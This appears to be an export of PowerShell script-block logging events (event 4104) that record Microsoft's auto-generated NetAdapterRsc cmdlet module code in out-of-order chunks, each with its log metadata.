[ciminstance[]]
${InputObject},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[ValidateNotNull()]
[ValidateNotNullOrEmpty()]
[switch]
${IPv4},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[ValidateNotNull()]
[ValidateNotNullOrEmpty()]
[switch]
${IPv6},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${NoRestart},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${PassThru},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[Alias('Session')]
[ValidateNotNullOrEmpty()]
[CimSession[]]
${CimSession},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[int]
${ThrottleLimit},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${AsJob})
DynamicParam {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper = $script:ObjectModelWrapper::new()
$__cmdletization_objectModelWrapper.Initialize($PSCmdlet, $script:ClassName, $script:ClassVersion, $script:ModuleVersion, $script:PrivateData)
if ($__cmdletization_objectModelWrapper -is [System.Management.Automation.IDynamicParameters])
{
([System.Management.Automation.IDynamicParameters]$__cmdletization_objectModelWrapper).GetDynamicParameters()
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Begin {
$__cmdletization_exceptionHasBeenThrown = $false
try
{
__cmdletization_BindCommonParameters $__cmdletization_objectModelWrapper $PSBoundParameters
$__cmdletization_objectModelWrapper.BeginProcessing()
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Process {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_queryBuilder = $__cmdletization_objectModelWrapper.GetQueryBuilder()
if ($PSBoundParameters.ContainsKey('Name') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${Name})
$__cmdletization_queryBuilder.FilterByProperty('Name', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('InterfaceDescription') -and (@('ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${InterfaceDescription})
$__cmdletization_queryBuilder.FilterByProperty('InterfaceDescription', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('IncludeHidden') -and (@('ByName', 'ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_queryBuilder.AddQueryOption('IncludeHidden', ${IncludeHidden})
}
$__cmdletization_methodParameters = [System.Collections.Generic.List[Microsoft.PowerShell.Cmdletization.MethodParameter]]::new()
switch -exact ($PSCmdlet.ParameterSetName) {
{ @('ByName', 'ByInstanceID', 'InputObject (cdxml)') -contains $_ } {
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('IPv4')) {
[object]$__cmdletization_value = ${IPv4}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'IPv4'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'IPv4'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('IPv6')) {
[object]$__cmdletization_value = ${IPv6}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'IPv6'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'IPv6'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('NoRestart')) {
[object]$__cmdletization_value = ${NoRestart}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'cim:OperationOption:NoRestart'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'cim:OperationOption:NoRestart'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('PassThru')) {
[object]$__cmdletization_value = ${PassThru}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'cim:OperationOption:PassThru'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'cim:OperationOption:PassThru'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'CmdletOutput'; ParameterType = 'Microsoft.Management.Infrastructure.CimInstance'; Bindings = 'Out'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
$__cmdletization_returnValue = $null
$__cmdletization_methodInvocationInfo = [Microsoft.PowerShell.Cmdletization.MethodInvocationInfo]::new('Disable', $__cmdletization_methodParameters, $__cmdletization_returnValue)
$__cmdletization_passThru = $false
if ($PSBoundParameters.ContainsKey('InputObject')) {
foreach ($x in $InputObject) { $__cmdletization_objectModelWrapper.ProcessRecord($x, $__cmdletization_methodInvocationInfo, $__cmdletization_PassThru) }
} els
ScriptBlock ID: 3a3beca6-cb22-4111-b94d-f158e6cd483b
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 1939 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4476 | 1496 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:16:09 AM | dfeadd90-ee34-0002-a9fe-eadf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (2 of 4):
tion_values = @(${InterfaceDescription})
$__cmdletization_queryBuilder.FilterByProperty('InterfaceDescription', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('IncludeHidden') -and (@('ByName', 'ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_queryBuilder.AddQueryOption('IncludeHidden', ${IncludeHidden})
}
$__cmdletization_methodParameters = [System.Collections.Generic.List[Microsoft.PowerShell.Cmdletization.MethodParameter]]::new()
switch -exact ($PSCmdlet.ParameterSetName) {
{ @('ByName', 'ByInstanceID', 'InputObject (cdxml)') -contains $_ } {
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('IPv4Enabled')) {
[object]$__cmdletization_value = ${IPv4Enabled}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'IPv4Enabled'; ParameterType = 'System.Boolean'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'IPv4Enabled'; ParameterType = 'System.Boolean'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('IPv6Enabled')) {
[object]$__cmdletization_value = ${IPv6Enabled}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'IPv6Enabled'; ParameterType = 'System.Boolean'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'IPv6Enabled'; ParameterType = 'System.Boolean'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('NoRestart')) {
[object]$__cmdletization_value = ${NoRestart}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'cim:OperationOption:NoRestart'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'cim:OperationOption:NoRestart'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
$__cmdletization_returnValue = $null
$__cmdletization_methodInvocationInfo = [Microsoft.PowerShell.Cmdletization.MethodInvocationInfo]::new('cim:ModifyInstance', $__cmdletization_methodParameters, $__cmdletization_returnValue)
$__cmdletization_passThru = $PSBoundParameters.ContainsKey('PassThru') -and $PassThru
if ($PSBoundParameters.ContainsKey('InputObject')) {
foreach ($x in $InputObject) { $__cmdletization_objectModelWrapper.ProcessRecord($x, $__cmdletization_methodInvocationInfo, $__cmdletization_PassThru) }
} else {
$__cmdletization_objectModelWrapper.ProcessRecord($__cmdletization_queryBuilder, $__cmdletization_methodInvocationInfo, $__cmdletization_PassThru)
}
}
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
End {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper.EndProcessing()
}
}
catch
{
throw
}
}
# .EXTERNALHELP MSFT_NetAdapterRsc.cdxml-Help.xml
}
Microsoft.PowerShell.Core\Export-ModuleMember -Function 'Set-NetAdapterRsc' -Alias '*'
function Enable-NetAdapterRsc
{
[CmdletBinding(DefaultParameterSetName='ByName', SupportsShouldProcess=$true, ConfirmImpact='Medium', PositionalBinding=$false)]
[OutputType([Microsoft.Management.Infrastructure.CimInstance])]
param(
[Parameter(ParameterSetName='ByName', Mandatory=$true, Position=0, ValueFromPipelineByPropertyName=$true)]
[Alias('ifAlias','InterfaceAlias')]
[ValidateNotNull()]
[string[]]
${Name},
[Parameter(ParameterSetName='ByInstanceID', Mandatory=$true, ValueFromPipelineByPropertyName=$true)]
[Alias('ifDesc','InstanceID')]
[ValidateNotNull()]
[string[]]
${InterfaceDescription},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[switch]
${IncludeHidden},
[Parameter(ParameterSetName='InputObject (cdxml)', Mandatory=$true, ValueFromPipeline=$true)]
[PSTypeName('Microsoft.Management.Infrastructure.CimInstance#MSFT_NetAdapterRscSettingData')]
[ValidateNotNull()]
[ciminstance[]]
${InputObject},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[ValidateNotNull()]
[ValidateNotNullOrEmpty()]
[switch]
${IPv4},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[ValidateNotNull()]
[ValidateNotNullOrEmpty()]
[switch]
${IPv6},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${NoRestart},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${PassThru},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[Alias('Session')]
[ValidateNotNullOrEmpty()]
[CimSession[]]
${CimSession},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[int]
${ThrottleLimit},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${AsJob})
DynamicParam {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper = $script:ObjectModelWrapper::new()
$__cmdletization_objectModelWrapper.Initialize($PSCmdlet, $script:ClassName, $script:ClassVersion, $script:ModuleVersion, $script:PrivateData)
if ($__cmdletization_objectModelWrapper -is [System.Management.Automation.IDynamicParameters])
{
([System.Management.Automation.IDynamicParameters]$__cmdletization_objectModelWrapper).GetDynamicParameters()
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Begin {
$__cmdletization_exceptionHasBeenThrown = $false
try
{
__cmdletization_BindCommonParameters $__cmdletization_objectModelWrapper $PSBoundParameters
$__cmdletization_objectModelWrapper.BeginProcessing()
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Process {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_queryBuilder = $__cmdletization_objectModelWrapper.GetQueryBuilder()
if ($PSBoundParameters.ContainsKey('Name') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${Name})
$__cmdletization_queryBuilder.FilterByProperty('Name', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('InterfaceDescription') -and (@('ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${InterfaceDescription})
$__cmdletization_queryBuilder.FilterByProperty('InterfaceDescription', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('IncludeHidden') -and (@('ByName', 'ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_queryBuilder.AddQueryOption('IncludeHidden', ${IncludeHidden})
}
$__cmdletization_methodParameters = [System.Collections.Generic.List[Microsoft.PowerShell.Cmdletization.MethodParameter]]::new()
switch -exact ($PSCmdlet.ParameterSetName) {
{ @('ByName', 'ByInstanceID', 'InputObject (cdxml)') -contains $_ } {
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('IPv4')) {
[object]$__cmdletization_value = ${IPv4}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'IPv4'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'IPv4'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('IPv6')) {
[object]$__cmdletization_value = ${IPv6}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'IPv6'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'IPv6'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('NoRestart')) {
[object]$__cmdletization_value = ${NoRestart}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'cim:OperationOption:NoRestart'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'cim:OperationOption:NoRestart'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cm
ScriptBlock ID: 3a3beca6-cb22-4111-b94d-f158e6cd483b
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 1938 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4476 | 1496 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:16:09 AM | dfeadd90-ee34-0002-a9fe-eadf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (1 of 4):
#requires -version 3.0
try { Microsoft.PowerShell.Core\Set-StrictMode -Off } catch { }
$script:MyModule = $MyInvocation.MyCommand.ScriptBlock.Module
$script:ClassName = 'ROOT/StandardCimv2/MSFT_NetAdapterRscSettingData'
$script:ClassVersion = '1.0.0'
$script:ModuleVersion = '1.0'
$script:ObjectModelWrapper = [Microsoft.PowerShell.Cmdletization.Cim.CimCmdletAdapter]
$script:PrivateData = [System.Collections.Generic.Dictionary[string,string]]::new()
Microsoft.PowerShell.Core\Export-ModuleMember -Function @()
function __cmdletization_BindCommonParameters
{
param(
$__cmdletization_objectModelWrapper,
$myPSBoundParameters
)
if ($myPSBoundParameters.ContainsKey('CimSession')) {
$__cmdletization_objectModelWrapper.PSObject.Properties['CimSession'].Value = $myPSBoundParameters['CimSession']
}
if ($myPSBoundParameters.ContainsKey('ThrottleLimit')) {
$__cmdletization_objectModelWrapper.PSObject.Properties['ThrottleLimit'].Value = $myPSBoundParameters['ThrottleLimit']
}
if ($myPSBoundParameters.ContainsKey('AsJob')) {
$__cmdletization_objectModelWrapper.PSObject.Properties['AsJob'].Value = $myPSBoundParameters['AsJob']
}
}
function Get-NetAdapterRsc
{
[CmdletBinding(DefaultParameterSetName='ByName', PositionalBinding=$false)]
[OutputType([Microsoft.Management.Infrastructure.CimInstance])]
[OutputType('Microsoft.Management.Infrastructure.CimInstance#ROOT/StandardCimv2/MSFT_NetAdapterRscSettingData')]
param(
[Parameter(ParameterSetName='ByName', Position=0, ValueFromPipelineByPropertyName=$true)]
[Alias('ifAlias','InterfaceAlias')]
[ValidateNotNull()]
[string[]]
${Name},
[Parameter(ParameterSetName='ByInstanceID', Mandatory=$true, ValueFromPipelineByPropertyName=$true)]
[Alias('ifDesc','InstanceID')]
[ValidateNotNull()]
[string[]]
${InterfaceDescription},
[Parameter(ParameterSetName='ByName', ValueFromPipelineByPropertyName=$true)]
[Parameter(ParameterSetName='ByInstanceID', ValueFromPipelineByPropertyName=$true)]
[ValidateNotNull()]
[bool[]]
${IPv4OperationalState},
[Parameter(ParameterSetName='ByName', ValueFromPipelineByPropertyName=$true)]
[Parameter(ParameterSetName='ByInstanceID', ValueFromPipelineByPropertyName=$true)]
[ValidateNotNull()]
[bool[]]
${IPv6OperationalState},
[Parameter(ParameterSetName='ByName', ValueFromPipelineByPropertyName=$true)]
[Parameter(ParameterSetName='ByInstanceID', ValueFromPipelineByPropertyName=$true)]
[ValidateNotNull()]
[Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetAdapterRsc.FailureReason[]]
${IPv4FailureReason},
[Parameter(ParameterSetName='ByName', ValueFromPipelineByPropertyName=$true)]
[Parameter(ParameterSetName='ByInstanceID', ValueFromPipelineByPropertyName=$true)]
[ValidateNotNull()]
[Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetAdapterRsc.FailureReason[]]
${IPv6FailureReason},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[switch]
${IncludeHidden},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Alias('Session')]
[ValidateNotNullOrEmpty()]
[CimSession[]]
${CimSession},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[int]
${ThrottleLimit},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[switch]
${AsJob})
DynamicParam {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper = $script:ObjectModelWrapper::new()
$__cmdletization_objectModelWrapper.Initialize($PSCmdlet, $script:ClassName, $script:ClassVersion, $script:ModuleVersion, $script:PrivateData)
if ($__cmdletization_objectModelWrapper -is [System.Management.Automation.IDynamicParameters])
{
([System.Management.Automation.IDynamicParameters]$__cmdletization_objectModelWrapper).GetDynamicParameters()
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Begin {
$__cmdletization_exceptionHasBeenThrown = $false
try
{
__cmdletization_BindCommonParameters $__cmdletization_objectModelWrapper $PSBoundParameters
$__cmdletization_objectModelWrapper.BeginProcessing()
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Process {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_queryBuilder = $__cmdletization_objectModelWrapper.GetQueryBuilder()
if ($PSBoundParameters.ContainsKey('Name') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${Name})
$__cmdletization_queryBuilder.FilterByProperty('Name', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('InterfaceDescription') -and (@('ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${InterfaceDescription})
$__cmdletization_queryBuilder.FilterByProperty('InterfaceDescription', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('IPv4OperationalState') -and (@('ByName', 'ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${IPv4OperationalState})
$__cmdletization_queryBuilder.FilterByProperty('IPv4OperationalState', $__cmdletization_values, $false, 'Default')
}
if ($PSBoundParameters.ContainsKey('IPv6OperationalState') -and (@('ByName', 'ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${IPv6OperationalState})
$__cmdletization_queryBuilder.FilterByProperty('IPv6OperationalState', $__cmdletization_values, $false, 'Default')
}
if ($PSBoundParameters.ContainsKey('IPv4FailureReason') -and (@('ByName', 'ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${IPv4FailureReason})
$__cmdletization_queryBuilder.FilterByProperty('IPv4FailureReason', $__cmdletization_values, $false, 'Default')
}
if ($PSBoundParameters.ContainsKey('IPv6FailureReason') -and (@('ByName', 'ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${IPv6FailureReason})
$__cmdletization_queryBuilder.FilterByProperty('IPv6FailureReason', $__cmdletization_values, $false, 'Default')
}
if ($PSBoundParameters.ContainsKey('IncludeHidden') -and (@('ByName', 'ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_queryBuilder.AddQueryOption('IncludeHidden', ${IncludeHidden})
}
$__cmdletization_objectModelWrapper.ProcessRecord($__cmdletization_queryBuilder)
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
End {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper.EndProcessing()
}
}
catch
{
throw
}
}
# .EXTERNALHELP MSFT_NetAdapterRsc.cdxml-Help.xml
}
Microsoft.PowerShell.Core\Export-ModuleMember -Function 'Get-NetAdapterRsc' -Alias '*'
function Set-NetAdapterRsc
{
[CmdletBinding(DefaultParameterSetName='ByName', SupportsShouldProcess=$true, ConfirmImpact='Medium', PositionalBinding=$false)]
[OutputType([Microsoft.Management.Infrastructure.CimInstance])]
[OutputType('Microsoft.Management.Infrastructure.CimInstance#ROOT/StandardCimv2/MSFT_NetAdapterRscSettingData')]
param(
[Parameter(ParameterSetName='ByName', Mandatory=$true, Position=0, ValueFromPipelineByPropertyName=$true)]
[Alias('ifAlias','InterfaceAlias')]
[ValidateNotNull()]
[string[]]
${Name},
[Parameter(ParameterSetName='ByInstanceID', Mandatory=$true, ValueFromPipelineByPropertyName=$true)]
[Alias('ifDesc','InstanceID')]
[ValidateNotNull()]
[string[]]
${InterfaceDescription},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[switch]
${IncludeHidden},
[Parameter(ParameterSetName='InputObject (cdxml)', Mandatory=$true, ValueFromPipeline=$true)]
[PSTypeName('Microsoft.Management.Infrastructure.CimInstance#MSFT_NetAdapterRscSettingData')]
[ValidateNotNull()]
[ciminstance[]]
${InputObject},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[ValidateNotNull()]
[ValidateNotNullOrEmpty()]
[bool]
${IPv4Enabled},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[ValidateNotNull()]
[ValidateNotNullOrEmpty()]
[bool]
${IPv6Enabled},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${NoRestart},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[Alias('Session')]
[ValidateNotNullOrEmpty()]
[CimSession[]]
${CimSession},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[int]
${ThrottleLimit},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${AsJob},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${PassThru})
DynamicParam {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper = $script:ObjectModelWrapper::new()
$__cmdletization_objectModelWrapper.Initialize($PSCmdlet, $script:ClassName, $script:ClassVersion, $script:ModuleVersion, $script:PrivateData)
if ($__cmdletization_objectModelWrapper -is [System.Management.Automation.IDynamicParameters])
{
([System.Management.Automation.IDynamicParameters]$__cmdletization_objectModelWrapper).GetDynamicParameters()
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Begin {
$__cmdletization_exceptionHasBeenThrown = $false
try
{
__cmdletization_BindCommonParameters $__cmdletization_objectModelWrapper $PSBoundParameters
$__cmdletization_objectModelWrapper.BeginProcessing()
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Process {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_queryBuilder = $__cmdletization_objectModelWrapper.GetQueryBuilder()
if ($PSBoundParameters.ContainsKey('Name') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
